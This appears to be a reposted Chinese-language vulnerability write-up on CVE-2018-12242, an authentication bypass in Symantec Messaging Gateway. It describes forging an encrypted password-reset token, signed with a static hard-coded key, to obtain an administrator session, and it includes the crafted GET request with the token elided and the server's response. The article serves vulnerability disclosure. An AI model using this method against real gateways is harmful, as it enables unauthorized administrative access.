赛门铁克邮件网关身份验证绕过漏洞(CVE-2018-12242)分析

栏目: 编程工具 · 发布时间: 5年前

内容简介:在一些信息安全评估工作中,有时很难清楚地了解目标网络的外围情况,作为不得已的手段,我们可能会对目标网络相关曝露在网的应用服务进行安全测试,这种情形下往往会有所突破,就像我在这里要分享的赛门铁克(Symantec)邮件网关授权绕过漏洞(

前言

在一些信息安全评估工作中,有时很难清楚地了解目标网络的外围情况,作为不得已的手段,我们可能会对目标网络相关曝露在网的应用服务进行安全测试,这种情形下往往会有所突破,就像我在这里要分享的赛门铁克(Symantec)邮件网关授权绕过漏洞( CVE-2018-12242 )一样。

赛门铁克邮件网关身份验证绕过漏洞(CVE-2018-12242)分析

发现漏洞

赛门铁克邮件网关身份验证绕过漏洞(CVE-2018-12242)分析 赛门铁克邮件网关(Symantec Messaging Gateway)和大多应用登录界面一样,也存在密码重置功能,当登录尝试失败后,会出现“忘记密码”按钮链接,之后,用户名会被提示输入。这里,赛门铁克邮件网关在创建的密码重置链接中,包含了一个加密令牌(token),保证密码重置须是相应用户,以此来验证密码重置的用户合法身份。

肯定的是,这个令牌是加密的,那么我们如何获得密钥呢?好在之前有一个关于赛门铁克邮件网关中 类似bug的披露 ,安全研究者Philip Pettersson发现了赛门铁克邮件网关的一个认证绕过漏洞,这其中涉及了用类似方式进行加密的参数,他还分析到了一个硬编码密钥,他是这样描述的:

非常好,加密使用的竟然是PBEWithMD5AndDES 算法生成的一个静态密码,且简单地储存在其源代码中,但我不会在此透露该加密密码或完整的加密通知字符串。

漏洞测试

回到我们的测试中来。实际上,在赛门铁克邮件网关的安装过程中,这个密码key都是静态的,在此我们也不会公布这个密码信息。在这种加密机制下,如果攻击者发起加密令牌(token)中形如“admin:”的加密,并把它传递给下述GET参数 “authorization”, 那么,他就会收到一个有效的管理员会话。以下为相应的GET请求示例:

GET /brightmail/action2.do?method=passwordReset&authorization=<..>%3d HTTP/1.1

Host: 192.168.17.15

Connection: close

Cache-Control: max-age=0

Origin: https://192.168.17.15

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.62 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

赛门铁克网关的响应如下:

HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Cache-Control: no-store,no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Frame-Options: SAMEORIGIN
Set-Cookie: JSESSIONID=97B8786DB8CC163EB2A4C595D1028E1D; Path=/brightmail; Secure; HttpOnly
Location: /brightmail/viewWelcome.do?userID=1
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Connection: close

在Brup中的请求和响应如下所示:

赛门铁克邮件网关身份验证绕过漏洞(CVE-2018-12242)分析 当然,其中生成的Cookie消息就是一个有效的管理员会话:


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

C专家编程

C专家编程

Peter Van Der Linden / 徐波 / 人民邮电出版社 / 2008-2 / 45.00元

《C专家编程》展示了最优秀的C程序员所使用的编码技巧,并专门开辟了一章对C++的基础知识进行了介绍。 书中C的历史、语言特性、声明、数组、指针、链接、运行时、内存以及如何进一步学习C++等问题进行了细致的讲解和深入的分析。全书撷取几十个实例进行讲解,对C程序员具有非常高的实用价值。 本书可以帮助有一定经验的C程序员成为C编程方面的专家,对于具备相当的C语言基础的程序员,本书可以帮助他们......一起来看看 《C专家编程》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

URL 编码/解码
URL 编码/解码

URL 编码/解码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试